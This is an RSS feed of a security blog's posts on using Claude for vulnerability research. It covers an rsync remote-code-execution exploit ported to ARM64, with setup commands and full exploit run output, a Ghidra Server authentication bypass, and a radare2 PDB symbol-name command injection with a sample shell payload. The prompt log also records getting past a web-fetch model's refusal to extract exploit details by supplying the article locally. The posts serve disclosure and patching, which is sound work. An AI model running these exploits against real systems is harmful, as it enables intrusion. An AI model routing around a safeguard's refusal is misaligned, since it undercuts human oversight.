<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Calif]]></title><description><![CDATA[Calif]]></description><link>https://blog.calif.io</link><image><url>https://blog.calif.io/img/substack.png</url><title>Calif</title><link>https://blog.calif.io</link></image><generator>Substack</generator><lastBuildDate>Fri, 10 Apr 2026 12:27:28 GMT</lastBuildDate><atom:link href="https://blog.calif.io/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Calif Global Inc.]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[calif@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[calif@substack.com]]></itunes:email><itunes:name><![CDATA[Calif]]></itunes:name></itunes:owner><itunes:author><![CDATA[Calif]]></itunes:author><googleplay:owner><![CDATA[calif@substack.com]]></googleplay:owner><googleplay:email><![CDATA[calif@substack.com]]></googleplay:email><googleplay:author><![CDATA[Calif]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[MAD Bugs: Feeding Claude Phrack Articles for Fun and Profit]]></title><description><![CDATA[tl;dr: A teammate gave Claude a Phrack article.]]></description><link>https://blog.calif.io/p/mad-bugs-feeding-claude-phrack-articles</link><guid isPermaLink="false">https://blog.calif.io/p/mad-bugs-feeding-claude-phrack-articles</guid><pubDate>Thu, 09 Apr 2026 17:59:55 GMT</pubDate><content:encoded><![CDATA[<p>tl;dr: A teammate gave Claude a Phrack article. It built a working<br>rsync RCE on x86-64. He shared the generated exploit with me but forgot<br>one file, and I needed it on ARM64 anyway. I gave Claude one prompt:<br><em>reproduce this</em>. Ninety minutes later it dropped a working exploit. I<br>told it the exploit was slow (5 minutes); it made it 20x faster. We also asked it to audit the patched rsync, and it came back with new bugs.</p><h2>How this started</h2><p>Our new favourite pastime is feeding Claude Phrack articles and seeing<br>what comes back. This time it was <a href="https://phrack.org/issues/72/11_md">Phrack 72's </a><em><a href="https://phrack.org/issues/72/11_md">"Desync the Planet"</a></em>,<br>which describes chaining CVE-2024-12085 (stack info leak) into<br>CVE-2024-12084 (heap overflow) for unauthenticated RCE against<br><code>rsync --daemon</code>. A teammate handed Claude the article; it built a<br>working exploit on x86-64. The full session is in<br><a href="writeup.md"><code>writeup.md</code></a>, prompts and all: where Claude tried adding<br><code>fprintf</code> to <code>sender.c</code> and got told "why are you modifying the rsync<br>source?", where it was redirected to GDB, where it was told to actually<br>read the article instead of guessing at the layout.</p><p>He shared <a href="exploit.py"><code>exploit.py</code></a> with me. Two problems:</p><ol><li><p><strong>It imported <code>rsync_lib</code>, which wasn't in the repo.</strong> He just forgot<br>to share it. Claude had generated this custom protocol library to<br>handle all the heavy lifting: daemon handshake, multiplexed I/O,<br>file list parsing, the deflate-token oracle.</p></li><li><p><strong>It was tuned for x86-64.</strong> Hardcoded binary offsets, an info-leak<br>target at a stack offset that doesn't exist on ARM64, a <code>.bss</code> payload<br>layout that assumes a memory map that doesn't match the ARM64 build.</p></li></ol><p>I wanted to run it on a Debian 12 ARM64 box. So I handed both files (the<br>writeup and the broken exploit) to Claude:</p><blockquote><p><strong>Read the WriteUp and reproduce this exploit with exploit.py</strong></p></blockquote><p>That was the only prompt. Everything below came out of that single<br>instruction with no further steering from me.</p><h2>What Claude figured out</h2><p><strong>No <code>rsync_lib.py</code>.</strong> Claude opened the rsync 3.2.7 source (<code>io.c</code>,<br><code>flist.c</code>, <code>compat.c</code>, <code>sender.c</code>, <code>token.c</code>) and built the protocol<br>library from scratch. The first attempt timed out at <code>setup_protocol</code>.<br>So it spun up a Python proxy, pointed the <em>real</em> rsync client through it<br>at the daemon, and diffed the wire bytes against what its own library<br>was sending. Three things the source doesn't make obvious: daemon args<br>are <code>\0</code>-terminated (not <code>\n</code>), checksum negotiation is <em>both sides</em><br><em>write, then both sides read</em> (not request-response), and the post-setup<br><code>write_line</code> calls were bypassing the multiplex layer. The server was<br>reading the <code>"ZZZZ..."</code> filter pattern as a multiplex header and<br>returning <code>unexpected tag 83</code> (83 + <code>MPLEX_BASE</code> = 90 = <code>'Z'</code>).</p><p><strong>No GDB.</strong> The container had no <code>gdb</code>, no <code>strace</code>, no root. Claude<br>built substitutes: an <code>LD_PRELOAD</code> <code>memcmp</code> hook to capture the<br>uninitialized <code>sum2</code> buffer at the moment of comparison, and a 200-line<br>ptrace crash-catcher that attached to the forked rsync child, caught<br>the SIGSEGV, and dumped registers plus the entire payload region from<br><code>/proc/PID/mem</code>. The memcmp hook showed the leak target had moved from<br><code>sum2+8</code> on x86-64 to <code>sum2+24</code> on ARM64 (a saved LR pointing into<br><code>start_server</code>, three frames up).</p><p><strong>The trickiest bug.</strong> The crash dump showed <code>shell_exec</code> had been<br>called: <code>algctx</code> was zeroed by OpenSSL's <code>str xzr, [x19, #56]</code> after<br><code>freectx</code> returned, not before. Claude set a <code>BRK #0</code> breakpoint at<br><code>shell_exec</code>'s entry, caught the trap, printed <code>X0</code> (the cmd pointer),<br>and followed <code>PTRACE_O_TRACEFORK</code>. The breakpoint hit, the pointer was<br>correct, and a fork was observed, but the proof file was never created.<br>Reading the command string back from memory at that point gave<br><code>"touch /t"</code>, truncated at 8 bytes.</p><p>The ARM64 build's <code>.bss</code> layout puts <code>last_match</code> at <code>ctx_evp+0x110</code>.<br><code>match_sums</code> zeroes it before calling <code>sum_init</code>, which overwrites<br>bytes 8-15 of the command string at <code>+0x108</code>. <code>system("touch /t")</code><br>tried to write to <code>/</code> and failed silently. Claude moved the command to<br><code>+0x58</code> (inside the <code>ctx_md</code> union, which the OpenSSL path never<br>touches), which fixed it.</p><p>Five issues total, all found and fixed without ever attaching a real<br>debugger:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:null,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-null">| #  | What broke                               | How Claude found it                             |
|----|------------------------------------------|-------------------------------------------------|
| A1 | Leak target at `sum2+24`, not `+8`       | LD_PRELOAD memcmp hook                          |
| A2 | `count=3277` destabilizes the stack      | Per-connection probe across 5 runs              |
| A3 | Command truncated at byte 8              | ptrace bp on `shell_exec` + `match_sums` disasm |
| A4 | ARM64 glibc 2.36 still wants ONE filter  | `malloc_usable_size` test                       |
| A5 | Three protocol mismatches in `rsync_lib` | socat wire capture vs. real client              |</code></pre></div><h2>Timeline</h2><p>About <strong>90 minutes</strong> from a cold container to the first proof file. Claude<br>reconstructed this from daemon log timestamps and file mtimes:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:null,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-null">| Elapsed | Milestone                                                                                                  |
|---------|------------------------------------------------------------------------------------------------------------|
| 0:00    | First daemon banner. `rsync_lib` doesn't exist yet.                                                        |
| 0:30    | Protocol library working: file list parsed, download verified. Three wire-format bugs fixed along the way. |
| 0:37    | Info-leak oracle confirmed: `token=-1` means MATCH. The `memcmp` hook found the LR at `sum2+24`.           |
| 0:59    | Heap overflow lands. Server child crashes silently, proof the write hit `.bss`.                            |
| 1:29    | ptrace breakpoint on `shell_exec`: hit, `X0` correct, fork observed. Still no proof file.                  |
| 1:34    | First `/tmp/rce_proof.txt`. Bug A3: `last_match = 0` was zeroing `cmd[8:16]`. Moved cmd to `+0x58`.        |</code></pre></div><p>The split was roughly even: a third building the protocol library, a<br>third finding the ARM64 leak target, a third figuring out why<br><code>shell_exec</code> ran but the file never appeared.</p><h2>"It works but it's slow"</h2><p>First successful run: about five minutes. The leak now needs 24 bytes<br>(not 8), at ~128 connections per byte, ~120ms per connection.</p><p>I told Claude:</p><blockquote><p><strong>Your exploit now takes 5 minutes to run, probably because of the</strong><br><strong>brute-forcing in first step. Make it faster.</strong></p></blockquote><p>Claude came back with two stacked changes. First, a hint table: it had<br>noticed during the leak debugging that 18 of those 24 bytes are<br>structural constants on ARM64. User-space addresses are<br><code>0x0000_aaaa_xxxx_xxxx</code> for the binary, <code>0x0000_ffff_xxxx_xxxx</code> for the<br>stack. The page-offset bits of the leaked pointer are exactly the<br>page-offset bits of <code>LEAK_OFFSET</code> (the base is page-aligned). It encoded<br>those as first-try hints, one connection each. Second, for the ~6 truly<br>random bytes, it wrapped the probe in <code>ThreadPoolExecutor(16)</code> to<br>dispatch all 256 guesses concurrently and take the first match.</p><p>The exploit now takes 14 seconds:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">mkdir -p /tmp/rsync_test_module
echo "hello world"   &gt; /tmp/rsync_test_module/foo.txt
echo "test data here" &gt; /tmp/rsync_test_module/bar.txt
cp rsyncd_test.conf /tmp/
/tmp/rsync-3.2.7/rsync --daemon --config=/tmp/rsyncd_test.conf --port=12000 --address=127.0.0.1
time python3 exploit.py "rsync://127.0.0.1:12000/files" "id &gt; /tmp/rce_proof.txt"
[*] Phase 1: info leak  |  file=bar.txt size=15
    sum2[8] = 0x00  (1 total connections)
    sum2[9] = 0x00  (2 total connections)
    sum2[10] = 0x00  (3 total connections)
    sum2[11] = 0x00  (4 total connections)
    sum2[12] = 0xab  (260 total connections)
    sum2[13] = 0xaa  (261 total connections)
    sum2[14] = 0x00  (262 total connections)
    sum2[15] = 0x00  (263 total connections)
    sum2[16] = 0x00  (519 total connections)
    sum2[17] = 0x7a  (775 total connections)
    sum2[18] = 0xde  (1031 total connections)
    sum2[19] = 0xee  (1287 total connections)
    sum2[20] = 0xff  (1288 total connections)
    sum2[21] = 0xff  (1289 total connections)
    sum2[22] = 0x00  (1290 total connections)
    sum2[23] = 0x00  (1291 total connections)
    sum2[24] = 0xc4  (1292 total connections)
    sum2[25] = 0xae  (1293 total connections)
    sum2[26] = 0xdc  (1549 total connections)
    sum2[27] = 0xd2  (1805 total connections)
    sum2[28] = 0xaa  (1806 total connections)
    sum2[29] = 0xaa  (1807 total connections)
    sum2[30] = 0x00  (1808 total connections)
    sum2[31] = 0x00  (1809 total connections)
[+] Leaked .text ptr : 0xaaaad2dcaec4
[+] Binary base      : 0xaaaad2da0000

[*] Phase 2: heap overflow &#8594; RCE
    shell_exec = 0xaaaad2dca120
    ctx_evp    = 0xaaaad2e54fb0
    payload    = 344 bytes at &amp;ctx_evp
    fake_ctx   = 0xaaaad2e54fb8 (+8)
    fake_evpmd = 0xaaaad2e55050 (+160)
    cmd_addr   = 0xaaaad2e55008 (+88)
    target ndx=1 file=bar.txt
    sending payload (344 bytes) to &amp;ctx_evp...
    overflow complete, consuming server output...
    server connection ended: connection closed
[+] Payload delivered.

real  0m14.383s
user  0m0.674s
sys 0m1.609s
cat /tmp/rce_proof.txt</code></pre></div><h2>The audit</h2><p>Before any of this, the same teammate had asked Claude to audit the<br>patched rsync:</p><blockquote><p><strong>now that you have a good grasp of this vulnerability and exploitation</strong><br><strong>can you audit the latest rsync for variants that may allow exploitation</strong></p></blockquote><p>Claude went file-by-file through all 48 <code>.c</code> source files in 3.4.1 (the<br>version with all CVEs fixed). We're verifying the findings now and<br>preparing reports.</p><h2>Every prompt, both sessions</h2><p>Prompts 1-12 are the original x86-64 session (the teammate driving);<br>13-17 are the ARM64 port (me driving).</p><ol><li><p><em>Initial request</em> &#8212; Asked to exploit rsync CVE-2024-12084 (heap<br>overflow) + CVE-2024-12085 (info leak) into a full RCE chain against<br>rsync 3.2.7 daemon, following the Phrack 72 "Desync the Planet"<br>article.</p></li><li><p><strong>"why are you modifying the rsync source?"</strong> &#8212; I had been adding<br><code>fprintf</code> debug statements to sender.c and recompiling. The user<br>correctly pointed out this shifts binary offsets (ctx_evp, shell_exec,<br>etc.) and invalidates the exploit constants.</p></li><li><p><strong>"you should be using gdb .."</strong> &#8212; Redirected from printf-debugging<br>to GDB. Led to the attach-to-daemon workflow with<br><code>set follow-fork-mode child</code> that proved essential for every<br>subsequent debugging step.</p></li><li><p><strong>"what sandbox"</strong> &#8212; I had confused /tmp file isolation with<br>sandboxing. Clarified the environment.</p></li><li><p><strong>"if you need root the password is x ?"</strong> &#8212; Provided root credentials<br>to fix <code>ptrace_scope</code> (was set to 1, blocking GDB attach). We ran<br><code>echo 0 &gt; /proc/sys/kernel/yama/ptrace_scope</code>.</p></li><li><p><strong>"are you following the phrack exploitation? it outlines it pretty</strong><br><strong>clear"</strong> &#8212; Critical redirect. I had been inventing a multi-entry<br>layout trying to align 40-byte sum_buf strides with 48-byte EVP_MD_CTX<br>field offsets. The Phrack one-shot contiguous write approach is far<br>simpler and more reliable.</p></li><li><p><strong>"read the phrack exploit - they use the info leak + heap overflow</strong><br><strong>to get a reliable exploit."</strong> &#8212; Prompted me to actually read the<br>full Phrack article rather than working from partial understanding.</p></li><li><p><strong>"the writeup is in /tmp/rsync.txt"</strong> &#8212; Pointed to the local copy of<br>the Phrack article. Saved time vs trying to web-fetch it (the<br>WebFetch AI model refused to extract exploit details).</p></li><li><p><strong>"if you need to setup a qemu with the exact debian + rsync used</strong><br><strong>that is fine"</strong> &#8212; Offered to set up the exact Debian 12 target<br>environment. We didn't end up needing this because we adapted the<br>exploit to our Ubuntu 22.04 system, but this would be the fastest<br>path for exact reproduction of the Phrack PoC.</p></li><li><p><strong>"perfect it seems to work!! can you document your whole process +</strong><br><strong>my prompts in a writeup! include how to get it working on other</strong><br><strong>installations etc and debugging instructions."</strong> &#8212; Led to this<br>writeup document.</p></li><li><p><strong>"now that you have a good grasp of this vulnerability and</strong><br><strong>exploitation can you audit the latest rsync for variants that may</strong><br><strong>allow exploitation"</strong> &#8212; Led to the security audit of rsync 3.4.1<br>documented in the appendix.</p></li><li><p><strong>"the WRITEUP didnt include all of my prompts"</strong> &#8212; This correction,<br>leading to this expanded prompt section.</p></li></ol><h3>ARM64 port session</h3><ol><li><p><strong>"Read the WriteUp and reproduce this exploit with exploit.py"</strong> &#8212;<br>Initial port request. Environment turned out to be Debian 12 / arm64<br>/ glibc 2.36 &#8212; different OS, different glibc, different <em>architecture</em><br>from the writeup. No GDB, no strace, no root. Five distinct<br>arm64-specific bugs were found and fixed (&#167;3a). <code>rsync_lib.py</code> was<br>built from scratch by reading the rsync 3.2.7 source &#8212; a socat wire<br>capture of the real client revealed args use <code>\0</code> not <code>\n</code>, checksum<br>negotiation is bidirectional, and <code>write_line</code> was bypassing the<br>multiplex layer (server: "unexpected tag 83" = <code>'Z' - MPLEX_BASE</code>).<br>The trickiest bug: <code>shell_exec</code> <em>did</em> fire and <em>did</em> fork, but<br><code>match_sums</code> zeroes <code>last_match</code> at <code>ctx_evp+0x110</code> before <code>sum_init</code>,<br>truncating the command string at byte 8. Diagnosed with a ptrace<br>breakpoint on <code>shell_exec</code> that printed <code>X0</code> and followed<br><code>PTRACE_O_TRACEFORK</code> &#8212; the fork happened, the cmd pointer was right,<br>but the string read back as <code>"touch /t"</code>. Moved the command to<br><code>+0x58</code> (inside the unused <code>ctx_md</code> struct).</p></li><li><p><strong>"continue"</strong> &#8212; Permission re-grant after a tool-use rejection during<br>the initial daemon startup. Resumed without issue.</p></li><li><p><strong>"Alright, add to the writeup your adaptions"</strong> &#8212; Wrote &#167;3a<br>documenting all five arm64 bugs (A1-A5), the GDB-free debugging<br>methodology (LD_PRELOAD probes, ptrace crash-catcher, pattern-payload<br>survival test), and the working run output.</p></li><li><p><strong>"Your exploit now takes 5 minutes to run, probably because of the</strong><br><strong>brute-forcing in first step. Make it faster."</strong> &#8212; Two stacked fixes:<br>a hint table (18/24 bytes are structural constants on arm64 &#8212; <code>0x00</code><br>canonical bits, <code>0xaa</code>/<code>0xff</code> region prefixes, <code>LEAK_OFFSET</code> page-<br>offset bits) and a <code>ThreadPoolExecutor(16)</code> for the truly random<br>bytes. 5 minutes &#8594; 14 seconds.</p></li><li><p><strong>"Add to the writeup the ARM64 environment, and a note about</strong><br><strong>speeding up, including a sample run [...] Also update the user</strong><br><strong>prompts with the prompts/responses so far"</strong> &#8212; Added the arm64<br>environment table to &#167;0, the speedup section + timed run to &#167;3a,<br>and these five entries to &#167;7.</p></li></ol><p>PoCs and writeups: <a href="https://github.com/califio/publications/blob/main/MADBugs/rsync/">https://github.com/califio/publications/blob/main/MADBugs/rsync/</a>.</p><p>&#8212;ryan &amp; thai</p>]]></content:encoded></item><item><title><![CDATA[MAD Bugs: Claude Found an Auth Bypass in NSA's Ghidra Server]]></title><description><![CDATA[This bug may resemble a backdoor in effect, but there&#8217;s no evidence it was intentional. Really.]]></description><link>https://blog.calif.io/p/mad-bugs-claude-found-an-auth-bypass</link><guid isPermaLink="false">https://blog.calif.io/p/mad-bugs-claude-found-an-auth-bypass</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Wed, 08 Apr 2026 07:36:36 GMT</pubDate><content:encoded><![CDATA[<p><a href="https://github.com/nationalsecurityagency/ghidra">Ghidra</a> is an open-source reverse engineering framework developed by the NSA, widely used for finding vulnerabilities in compiled software. Its server component, Ghidra Server, enables teams to collaborate on shared reverse engineering projects with centralized storage and access control.</p><p>Ghidra Server&#8217;s PKI mode is intended to authenticate users via a challenge-response protocol: the server sends a random 64-byte token, the client signs it with their private key, and the server verifies the signature against the client&#8217;s certificate. This proves the client possesses the private key corresponding to the certificate they present.</p><p>This all sounded solid, until Claude spotted a flaw in <a href="https://github.com/NationalSecurityAgency/ghidra/blob/78729379e471bbb3d969409be6a8c3d24af84220/Ghidra/Features/GhidraServer/src/main/java/ghidra/server/security/PKIAuthenticationModule.java#L143-L152">PKIAuthenticationModule.java:143-152</a> that looks like this:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;java&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-java">if (sigBytes != null) {
   verify(signature)
}
// else: skip verification entirely &#128556;</code></pre></div><p>When <code>sigBytes</code> is null, the verification block is skipped entirely &#8212; no exception is thrown. Execution falls through to the Distinguished Name lookup, which resolves the certificate&#8217;s subject DN to a registered username and returns it as the authenticated identity. No proof of private key possession was required.</p><p>This enables a low-privileged analyst to escalate to administrator, exfiltrate or destroy shared reverse engineering databases, and permanently rewrite repository access controls.</p><p>PoC and fix: <a href="https://github.com/califio/publications/tree/main/MADBugs/ghidra-server/">https://github.com/califio/publications/tree/main/MADBugs/ghidra-server/</a>.</p>]]></content:encoded></item><item><title><![CDATA[MAD Bugs: Discovering a 0-Day in Zero Day]]></title><description><![CDATA[Here&#8217;s how I used Claude to find and patch a radare2 0-day on my first day at Calif.]]></description><link>https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero</link><guid isPermaLink="false">https://blog.calif.io/p/mad-bugs-discovering-a-0-day-in-zero</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Wed, 08 Apr 2026 01:14:12 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/mmc7A__J_hY" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Timeline:</strong></p><p>All times are in GMT+8 on 2026-04-06.</p><ul><li><p><strong>09:00 AM:</strong> First day at Calif</p></li><li><p><strong>10:18 AM:</strong> Installed Claude Code</p></li><li><p><strong>11:24 AM:</strong> Discovered vulnerability</p></li><li><p><strong>11:48 AM:</strong> Generated RCE PoC</p></li><li><p><strong>2:48 PM:</strong>  <a href="https://github.com/radareorg/radare2/issues/25730">Reported</a> vulnerability</p></li><li><p><strong>3:47 PM:</strong> Opened <a href="https://github.com/radareorg/radare2/pull/25731">Fix PR</a></p></li><li><p><strong>5:00 PM:</strong> Merged PR</p></li></ul><h2>The Target: radare2</h2><p><a href="https://github.com/radareorg/radare2">radare2</a> (r2) is an open-source, CLI-based reverse engineering framework.</p><p>I decided to focus on reverse engineering tools for two reasons:</p><ol><li><p>I actually use them. I even built an <a href="https://jro.sg/CTFs/TISC%202024%20-%20Imphash/">r2-based CTF challenge</a> back in 2024.</p></li><li><p>Parsing and analyzing dozens of executable formats is hard. Historically, binary file parsing has been a rich source of bugs.</p></li></ol><p>An unexpected bonus was the radare2 team&#8217;s very public disclosure policy: security bugs are reported directly on GitHub Issues, just like any other bug. Combined with their rapid triage and patch turnaround, this made for one of the shortest bug-to-patch cycles I&#8217;ve ever experienced.</p><h2>Vulnerability Discovery: Prompt Commentary</h2><p>Setup was simple: a fresh clone of radare2 from GitHub, and Claude Code running with <code>--dangerously-skip-permissions</code>. The model was Claude Opus 4.6 (1M context) with high effort.</p><p>Below, I&#8217;ll walk through the prompts I used, explain the reasoning behind each one, and describe how Claude responded.</p><blockquote><p><strong>Me:</strong> Users are reporting that they have experienced unplanned code execution when analyzing untrusted binaries with this project. Figure out how this has happened.</p></blockquote><p>Previous <a href="https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude">MAD Bugs</a> posts had success with an incident-response-style prompt, so I went with something similar here.</p><p>Claude came back with 5 bugs. They looked plausible, but all of them required non-standard configurations or explicit user approval. I followed up to narrow the scope:</p><blockquote><p><strong>Me:</strong> The users are using default configuration with no projects. They did not perform any suspicious actions either. Assess for memory corruption bugs or other more complex vectors</p></blockquote><p>This time, Claude reported 7 &#8220;Confirmed Exploitable Vectors,&#8221; including 3 &#8220;Critical&#8221; heap and integer overflows. Naturally, I was skeptical, so I asked it to:</p><blockquote><p><strong>Me:</strong> Develop a poc for the unpatched vulnerabilities. Determine if an attacker could have bypassed the patches for the known bugs</p></blockquote><p>The second sentence referenced some recently patched N-days it had found in the Git history, which had been fixed by applying the <code>r_str_sanitize</code> function to sanitize untrusted input.</p><p>Claude struggled to prove, let alone exploit, the memory corruption vulnerabilities. It did appear to be making progress on a &#8220;heap leak&#8221; issue, though, so I gave it a nudge:</p><blockquote><p><strong>Me:</strong> What if you built radare with asan to help with the exploit debugging</p><p><strong>Me:</strong> Assess the exploitability of the vulnerabilities. The attacker must be able to achieve full code execution just by the user loading a binary for analysis</p></blockquote><p>Unfortunately, ASAN revealed that the &#8220;heap leak&#8221; was just a memory leak, not any kind of information disclosure bug:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;d8c18860-12b7-40f3-921b-0c4628cf03ff&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">==44349==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:</code></pre></div><p>Time to reset expectations and point Claude toward a more promising direction:</p><blockquote><p><strong>Me:</strong> Memory leak is not a vulnerability. Show a vulnerability with real impact, such as heap overflow. Also, dig deeper into r_str_sanitize and where it should be used but is missing. Explain the impact of those vulns</p></blockquote><p>Claude tried hard to exploit various stack and heap buffer overflows, but failed to trigger a single ASAN crash. It had, however, developed a solid understanding of the command injection N-days, so I redirected:</p><blockquote><p><strong>Me:</strong> Focus on command injection. Find another vulnerability.</p></blockquote><p>Watching Claude&#8217;s thoughts stream rapidly across my screen didn&#8217;t inspire much confidence.</p><p>It seemed like we were running out of leads. Then this appeared:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Let me now look for the ONE remaining angle: the RAD-mode output that gets executed via . (dot) commands. Let me look for &#8220;.i&#8221; patterns in automatic loading:</code></pre></div><p>Soon, we went from &#8220;it&#8217;s over&#8221; to &#8220;we are so back&#8221;:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Confirmed: line 1458 is the only RAD-mode cb_printf with an unsanitized binary-derived string. The vulnerability is clear:
...
Impact: Full code execution when a user opens a PE binary that has a crafted PDB file in the PDB search path. Default configuration, no user interaction beyond r2 binary.exe.
Fix: Sanitize name before interpolation at line 1458, using r_name_filter_dup() or r_str_sanitize().</code></pre></div><p>This looked very plausible. I asked Claude to:</p><blockquote><p><strong>Me:</strong> Generate a test .exe and .pdb file. Prove that the vulnerability is real and exploitable</p></blockquote><p>To do this, Claude had to construct a valid <a href="https://en.wikipedia.org/wiki/Program_database">PDB file</a> containing a malicious symbol name. PDB is a relatively complex binary format, so this took some time.</p><p>At this point, I was fairly confident we were in the home stretch. I offered one last hint:</p><blockquote><p><strong>Me:</strong> Can you use any libraries to build the pdb? Maybe that will be easier</p></blockquote><p>But Claude didn&#8217;t need it. Shortly after, we had the proof:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Arbitrary shell command execution confirmed. A crafted debug.pdb file alongside a PE binary causes !echo PWNED&gt;/tmp/r2_poc_output to execute when the user runs idp in radare2. The output file /tmp/r2_poc_output contains PWNED.</code></pre></div><p>One final prompt to wrap things up:</p><blockquote><p><strong>Me:</strong> Great job! Now, generate a report for this vulnerability. Also create a poc.py, which takes --cmd and generates the target.exe and .pdb file that executes the given command</p></blockquote><p>Total context used was 352.4k/1M tokens.</p><h2>Vulnerability Analysis</h2><p>PDB files contain symbols: mappings between function names and their addresses. Knowing where functions live is incredibly helpful for malware analysis, so r2 has several commands that parse and display this information.</p><p>There&#8217;s the <a href="https://github.com/radareorg/radare2/blob/25edd02/libr/bin/format/pdb/pdb.c#L1463">idpi</a> command, which prints the symbols available:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[0x140001000]&gt; idpi
0x140001000  0  .text  my_cool_function</code></pre></div><p>And there&#8217;s <code>idpi*</code>, which prints the r2 commands needed to convert symbol information into flags &#8212; essentially labels for addresses in r2.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[0x140001000]&gt; idpi*
f pdb.my_cool_function = 0x140001000 # 0 .text
&#8220;fN pdb.my_cool_function my_cool_function&#8221;</code></pre></div><p>The <code>f</code> command creates a flag (an offset-name mapping) at an address, and <code>fN</code> sets its &#8220;real name&#8221; &#8212; the original, unsanitized display name stored separately from the flag&#8217;s identifier.</p><p>Finally, there&#8217;s <a href="https://github.com/radareorg/radare2/blob/25edd02/libr/core/cmd_info.inc.c#L1886">idp</a>, which is actually an alias for <code>.idpi*</code>. The dot prefix means &#8220;run this command, then execute the output&#8221;.</p><p>You can probably see where this is going, so let&#8217;s just jump right into the <a href="https://github.com/radareorg/radare2/blob/25edd02/libr/bin/format/pdb/pdb.c#L1452-L1458">implementation</a> of the <code>idpi*</code> command:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">// pdb.c:1451 &#8211; filtered_name is sanitized via r_name_filter_dup()
filtered_name = r_name_filter_dup (r_str_trim_head_ro (name));
// pdb.c:1452 &#8211; safe: filtered_name in flag creation
pdb-&gt;cb_printf (&#8221;f pdb.%s = 0x%&#8221; PFMT64x &#8220; # %d %.*s\n&#8221;, filtered_name, ...);
// pdb.c:1458 &#8211; VULNERABLE: raw `name` from PDB binary data, NOT sanitized
pdb-&gt;cb_printf (&#8221;\&#8221;fN pdb.%s %s\&#8221;\n&#8221;, filtered_name, name);</code></pre></div><p>By crafting a PDB with a function name like <code>x&#8221; ;!open -a Calculator #&#8221;</code>, we can break out of the double-quoted command and inject arbitrary r2 commands. Since r2 supports executing system commands, RCE follows trivially.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[0x140001000]&gt; idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
&#8220;fN pdb.x____open__a_Calculator_ x&#8221; ;!open -a Calculator #&#8221;</code></pre></div><h2>PoC</h2><div id="youtube2-mmc7A__J_hY" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;mmc7A__J_hY&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/mmc7A__J_hY?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p>Code: <a href="https://github.com/califio/publications/blob/main/MADBugs/radare2/poc.py">poc.py</a></p><h2>Patch Development: Prompt Commentary</h2><p>In a fresh Claude Code session, I started off with:</p><blockquote><p><strong>Me:</strong> Read the poc and report. Determine when the bug was introduced and produce a patch commit, along with tests that prevent a regression of this bug</p></blockquote><p>The first patch Claude generated fixed the vulnerability, but it broke functionality as well:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;c&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-c">-&#9;pdb-&gt;cb_printf (&#8221;\&#8221;fN pdb.%s %s\&#8221;\n&#8221;, filtered_name, name);
+&#9;char *safe_name = r_name_filter_dup (name);
